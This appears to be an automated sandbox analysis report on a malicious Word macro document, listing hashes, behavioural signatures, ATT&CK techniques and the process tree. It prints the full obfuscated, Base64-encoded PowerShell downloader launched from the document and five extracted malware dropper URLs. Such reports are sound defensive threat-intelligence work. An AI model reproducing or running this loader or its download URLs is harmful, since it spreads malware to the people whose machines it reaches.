47f3f87bc57341c15aaf9fc6736ed513185e8347dcd6bed30b3248a5bbec92ee

General

Target

47f3f87bc57341c15aaf9fc6736ed513185e8347dcd6bed30b3248a5bbec92ee.doc
Size

197KB
MD5

a860a6111edd723a6d8019aabff264be
SHA1

0d4d323a7e118dcbcc6d2ccebb1da7de2a411672
SHA256

47f3f87bc57341c15aaf9fc6736ed513185e8347dcd6bed30b3248a5bbec92ee
SHA512

951c2149cde55216631becef177b03aaee4f6fcf4f242a8428936f6460b49db6a3e47e0d2f40137594bd876b1d028d856c786b3ae72128fa0a4a409eb33784c8

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://haicunoi.ro/cgi-bin/2TX/

exe.dropper

https://crosscountrysupply.com/wp-includes/OpF/

exe.dropper

https://akuntansi.widyakartika.ac.id/wp-content/uploads/tEEe/

exe.dropper

https://giangocngan.com/css/vK/

exe.dropper

http://ebe.dk/_borders/cZJi/

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

powershell.exe

description	pid	pid_target	process	target process
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1140	3156	powershell.exe

Blocklisted process makes network request 6 IoCs

Processes:

powershell.exe

flow pid process

13 1140 powershell.exe
31 1140 powershell.exe
37 1140 powershell.exe
48 1140 powershell.exe
50 1140 powershell.exe
57 1140 powershell.exe

flow	pid	process
13	1140	powershell.exe
31	1140	powershell.exe
37	1140	powershell.exe
48	1140	powershell.exe
50	1140	powershell.exe
57	1140	powershell.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

Processes:

WINWORD.EXE

pid process

3040 WINWORD.EXE
3040 WINWORD.EXE
Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

powershell.exe

pid process

1140 powershell.exe
1140 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 1140 powershell.exe
Suspicious use of SetWindowsHookEx 7 IoCs

Processes:

WINWORD.EXE

pid process

3040 WINWORD.EXE
3040 WINWORD.EXE
3040 WINWORD.EXE
3040 WINWORD.EXE
3040 WINWORD.EXE
3040 WINWORD.EXE
3040 WINWORD.EXE

pid	process
3040	WINWORD.EXE
3040	WINWORD.EXE

pid	process
1140	powershell.exe
1140	powershell.exe

description	pid	process
Token: SeDebugPrivilege	1140	powershell.exe

pid	process
3040	WINWORD.EXE
3040	WINWORD.EXE
3040	WINWORD.EXE
3040	WINWORD.EXE
3040	WINWORD.EXE
3040	WINWORD.EXE
3040	WINWORD.EXE

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\47f3f87bc57341c15aaf9fc6736ed513185e8347dcd6bed30b3248a5bbec92ee.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:3040

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -e IABpAE4AVgBPAGsARQAtAEUAWABQAHIAZQBTAHMAaQBvAE4AIAAoACAAbgBFAFcALQBvAGIAagBFAEMAdAAgAEkATwAuAEMAbwBtAHAAcgBFAFMAUwBJAE8ATgAuAGQARQBmAEwAYQB0AEUAUwB0AHIAZQBBAG0AKAAgAFsAUwBZAFMAdABlAE0ALgBJAE8ALgBNAGUATQBPAFIAeQBzAFQAUgBFAEEAbQBdAFsAQwBPAG4AVgBlAHIAVABdADoAOgBmAFIAbwBNAGIAQQBzAGUANgA0AHMAVAByAGkATgBHACgAKAAnAFgAWgBKAFIAYgA5AE0AdwBGAEkAWAAvACcAKwAnAFMAJwArACcAaAA0AGkAJwArACcAdQBWAFcAcABEAGQAUABnAFkAVgBHAGsAMwBkAFoAYgB0AEUAMABhAEIASQBhAEkASwAnACsAJwBxAFQASQBjAFcANQBUADQAOQBTAE8AWQAnACsAJwBxAGQAcABxAGYAcgBmADgAWQBCAHUAQwBEAC8AZQArADkAMQA3AGoAJwArACcAbwA4AGQAUAB3AEUAJwArACcAQQBCADkAaQBuADUAQwBGAGYARgBXAFYASgBrAHIAagBOAHkAbQBJAHMAJwArACcAZQBXAHAAdwBuACcAKwAnAE4AdgBxAEIAJwArACcAMAAnACsAJwBvAGYAUABhAEsAbgAzADcAQgBhAHQAZwAnACsAJwBxAE4AVAAyAEsALwBnAE0AVgArAGwAJwArACcAWgBLAE4AJwArACcAOQA1ACcAKwAnADIANwBZAG0AJwArACcAdwBqAGwAQgB5AE0AVgAnACsAJwBiAFMAJwArACcAMwAnACsAJwBUACcAKwAnAEQAWgBxAFgAaQAnACsAJwBuAEQATABwADQAJwArACcASwAnACsAJwBkACcAKwAnAG4AMABHACcAKwAnAFoARwArAGQAawAnACsAJwAzAFkAdwB2AGoAJwArACcAKwAnACsAJwA0AG8AZQAnACsAJwB2AGEAQQAnACsAJwA1AFYAMgAnACsAJwB5ADgAWgB1AHIAbwAnACsAJwB4ACcAKwAnAHMAaAB4AG8AZAArADkAJwArACcAagBkAHYAdgBKAEMAJwArACcAQgAxAFEAWQBwACcAKwAnACsAaQBvADYAbwAnACsAJwBQAFEAbwB2AGQASwBDAHkAJwArACcAbwAnACsAJwBrACcAKwAnAFYAZgBYAHoAbABMAFQARwBCACcAKwAnAHkAZABzADYAJwArACcARgBvACcAKwAnAHIAJwArACcAYQBzAGYAJwArACcAOAAnACsAJwB6AFEAMgArAFQAagBkACcAKwAnAEsAbQBNAFoASwAwACcAKwAnAHcAJwArACcAagB6AFcAMABZADYAJwArACcAeAAzAFkAJwArACcAUABmACcAKwAnAC8AcQBoAGoAUgBYAFMAVwByAE8AeQBzAG4AMgBOAHYAVwBOACcAKwAnAHkAZABhADgAWQBvAFYAJwArACcAKwAnACsAJwA2ACcAKwAnAFYAJwArACcAdgBrAEoAdQBTAGIAJwArACcAVABKAE0ANQBCADgAcgAnACsAJwBKACcAKwAnAE0AeQBWAGoAcwAnACsAJwBjADQAQwBRAFMAWgBaAEwAeQBBAEMAaQBOAEMASQBmACcAKwAnADMAbAAnACsAJwArAEUAJwArACcAUQBvAGgATgAnACsAJwBjAHIAQQAnACsAJwBwACsAYgB3ACcAKwAnAEUAdgBnACcAKwAnAEsAcgAnACsAJwBRACsAJwArACcAMwBuAEEAdgBaAEwAJwArACcAVwArACcAKwAnAGcAMABSAHIATwA3AEcAJwArACcAaAB6ADIAWABXACcAKwAnAC8AWABxAHMAVQAnACsAJwBaACsAVQA1AG0ANQB4ADAAegBRACcAKwAnAG4ARwAnACsAJwBQAEoARgAnACsAJwBuAGIASABvAFgAYwAnACsAJwBUAE8ASgA3AEsAQwBFAEkAUgBzAHAARQBmADUATwBkAEgAawAnACsAJwBOAE8AeAAvACcAKwAnAE4ARABVAEcANQBIADgAMwB6AFAAMgA3AEQAcQAnACsAJwBCACcAKwAnAFgAJwArACcAOABUAHYAZQBnAEYAdwAvAG8AZAA1AEYAOQAnACsAJwBCAHAAawBTAHYARgByAGIASQB5ACsAJwArACcARAA1AGIAJwArACcAaAAxAE4ASgBoAG4ANgArACcAKwAnAFoAMwBIADcAJwArACcAVAAnACsAJwA4AHcAYgBkAEUAMABmAGgAUABOAEcANAAnACsAJwB3AHUAMwA0AFkAegBqAFkANQAzAFoAbQBjACcAKwAnADEALwAnACsAJwBrAGMAJwArACcAbQA4AGUAJwArACcATwBDACcAKwAnADgAJwArACcAdwB4AFMAbwByAEwATQBaAHMAQgBKAFUAZwBYAEwATwBqAG0AJwArACcAZABwAFAAQgB5AGMAJwArACcAegAnACsAJwB5AGQANAB1ADEAUwBjAHgANgBJAFQAMwBuACcAKwAnADQAUgBIAEEAWgBaAEgAOAAnACsAJwBCACcAKQApACwAWwBJAE8ALgBDAG8ATQBQAHIARQBTAFMASQBvAG4ALgBDAG8AbQBQAFIARQBTAHMAaQBPAE4ATQBPAGQARQBdADoAOgBkAEUAQwBvAE0AUAByAEUAUwBzACkAIAB8ACUAIAB7ACAAbgBFAFcALQBvAGIAagBFAEMAdAAgACAASQBPAC4AcwB0AFIARQBBAG0AcgBlAGEAZABlAFIAKAAgACQAXwAgACwAIABbAFQAZQB4AHQALgBlAG4AQwBPAGQASQBuAEcAXQA6ADoAYQBTAGMASQBJACkAfQB8ACUAIAB7ACAAJABfAC4AUgBlAEEARABUAE8ARQBuAEQAKAApAH0AIAApACAA
1⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1140

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/1140-137-0x0000016C7A8A0000-0x0000016C7A8C2000-memory.dmp

Filesize
136KB

Download
memory/1140-138-0x00007FFAF3C30000-0x00007FFAF46F1000-memory.dmp

Filesize
10.8MB

Download
memory/3040-136-0x00007FFADC320000-0x00007FFADC330000-memory.dmp

Filesize
64KB

Download
memory/3040-133-0x00007FFADE430000-0x00007FFADE440000-memory.dmp

Filesize
64KB

Download
memory/3040-134-0x00007FFADE430000-0x00007FFADE440000-memory.dmp

Filesize
64KB

Download
memory/3040-135-0x00007FFADC320000-0x00007FFADC330000-memory.dmp

Filesize
64KB

Download
memory/3040-130-0x00007FFADE430000-0x00007FFADE440000-memory.dmp

Filesize
64KB

Download
memory/3040-132-0x00007FFADE430000-0x00007FFADE440000-memory.dmp

Filesize
64KB

Download
memory/3040-131-0x00007FFADE430000-0x00007FFADE440000-memory.dmp

Filesize
64KB

Download
memory/3040-140-0x00007FFADE430000-0x00007FFADE440000-memory.dmp

Filesize
64KB

Download
memory/3040-141-0x00007FFADE430000-0x00007FFADE440000-memory.dmp

Filesize
64KB

Download
memory/3040-142-0x00007FFADE430000-0x00007FFADE440000-memory.dmp

Filesize
64KB

Download
memory/3040-143-0x00007FFADE430000-0x00007FFADE440000-memory.dmp

Filesize
64KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads